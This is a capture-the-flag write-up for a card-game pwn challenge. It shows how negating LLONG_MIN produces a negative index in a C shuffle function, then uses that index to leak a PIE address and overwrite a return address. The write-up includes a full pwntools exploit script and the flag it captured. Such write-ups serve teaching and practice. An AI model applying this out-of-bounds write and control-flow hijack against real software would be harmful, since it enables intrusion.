We have released a new card game! If you win, you get a flag. Check it out at cards-6xvx9tsi.9447.plumbing port 9447

cards.tar.gz

Challenge Overview

This is a simple game of cards which we cannot win. At The start of the game we can enter up to 52 numbers, which will be the values of our cards. Our opponent uses our same deck.

Then we play as many round as there are cards in the deck. In a round we choose a card from our deck, that card is flagged as “used” and will be disabled in the next rounds. Our opponent will choose his card, and who has the highest card value wins the round. At the end of the game if we won more rounds than our opponent, we get the flag.

Unfortunately our opponent is smart and always choose the next higher card in the sorted deck. So we can win only when we choose our highest card, all the other rounds are ties or losses.

We must find another way to win :D

Vulnerability

In the shuffle function, for every card, the value is used to determine one of the two indices of the cards to swap.

void shuffle(long long *deck, int size) {
    int i;
    for (i = 0; i < size; i++) {
        long long val = deck[i];
        if (val < 0ll) {
            val = -val;
        }
        long long temp = deck[val % size];
        deck[val % size] = deck[(i + 1) % size];
        deck[(i + 1) % size] = temp;
    }
}

In particular the sign of val is flipped if negative, and then normalized to mod size before being used as an index.

Too bad in two’s complement the least negative number cannot be made positive and remain unchanged if negated. In C the modulus of a negative number is still negative, that means the calculated index is negative and enable us to swap a value from outside the deck array.

To control the index to swap we must change the size of the deck. The least negative number for a long long int is -9223372036854775808, and the deck can range from 1 to 52 cards.

Possible (deck_size, index) pairs are:

 1,  0
 3, -2
 5, -3
 7, -1
 9, -8
17, -9
19, -18
27, -26
29, -12
37, -6
43, -42
47, -36
48, -32

So exploiting the shuffle function, we can swap some areas outside the deck array, with values we control. Since we can play multiple round and the shuffle function gets called once per round, we can swap multiple qwords from the stack.

The plan is to swap the ret address of shuffle with the address of printFlag, problem is, ASRL is active and the binary is PIE, so first we must leak an address on the text section, and compute the printFlag address from that.

Memory near RSP in shuffle function:

0000|     0x7fffffffe098 --> 0x0 
0008|     0x7fffffffe0a0 --> 0x555555555038 ("Enter up to 52 cards (0 to stop):")
0016|     0x7fffffffe0a8 --> 0x0 
0024|     0x7fffffffe0b0 --> 0x7fffffffe0d0 --> 0x8000000000000000 
0032|     0x7fffffffe0b8 --> 0x5555555548ea (<_start>:  xor    ebp,ebp)
0040|     0x7fffffffe0c0 --> 0x7fffffffe370 --> 0x1 
0048| RSP 0x7fffffffe0c8 --> 0x555555554e62 (<handleRequests+82>:   mov    esi,ebx)
0056|     0x7fffffffe0d0 --> 0x8000000000000000 
0064|     0x7fffffffe0d8 --> 0x1 
0072|     0x7fffffffe0e0 --> 0x1 
0080|     0x7fffffffe0e8 --> 0x1 
0088|     0x7fffffffe0f0 --> 0x1

Row 0056 is the start of the deck array, 0048 is the return address of shuffle, 0032 pointer to _start function.

Luckily for us, the last pointer can be consistently found in that position and can be accessed by deck[-3] (-3 index is obtained by a deck size of 5). After the shuffle, the actual game begin, our deck gets printed and we can retrieve the pointer.

On the next game we choose a deck with seven elements (so we can swap the address in deck[-1] which is shuffle’s ret address), and we put the address of printFlag as an element.

Script

#!/usr/bin/python
# -*- coding: utf8 -*-

from pwn import *

LLONG_MIN = -9223372036854775808

conn = remote('cards-6xvx9tsi.9447.plumbing', 9447)
conn.recvuntil('(0 to stop):\n')

# choose a deck with 5 elements
# first element must be LLONG_MIN
conn.send('{:d} 1 1 1 1 0\n'.format(LLONG_MIN))

# read our deck
conn.recvline()
nums = conn.recvline()

# get the address we swapped, the position of the address in the deck may
# change, so we get the only one different from '1' and LLONG_MIN
addr_start = list(int(n) for n in nums.split() if n not in ('1', str(LLONG_MIN)))[0]

# compute the address of flag adding an offset
addr_flag = addr_start + 1190

# finish the current game to start the next one
conn.send('0\n1\n2\n3\n4\n')
conn.recvuntil('(0 to stop):\n')

# this time choose a deck with 7 elements
# LLONG_MIN and addr_flag must be the first and second value respectively
conn.send('{:d} {:d} 1 1 1 1 1 0\n'.format(LLONG_MIN, addr_flag))

print(conn.readall())

Launching the attack…

% ./attack.py 
[+] Opening connection to localhost on port 9447: Done
[+] Recieving all data: Done (63B)
[*] Closed connection to localhost port 9447
Have a flag:
9447{ThE_Only_w1nn1Ng_M0ve_1S_t0_stEAl_The_flAg}

\o/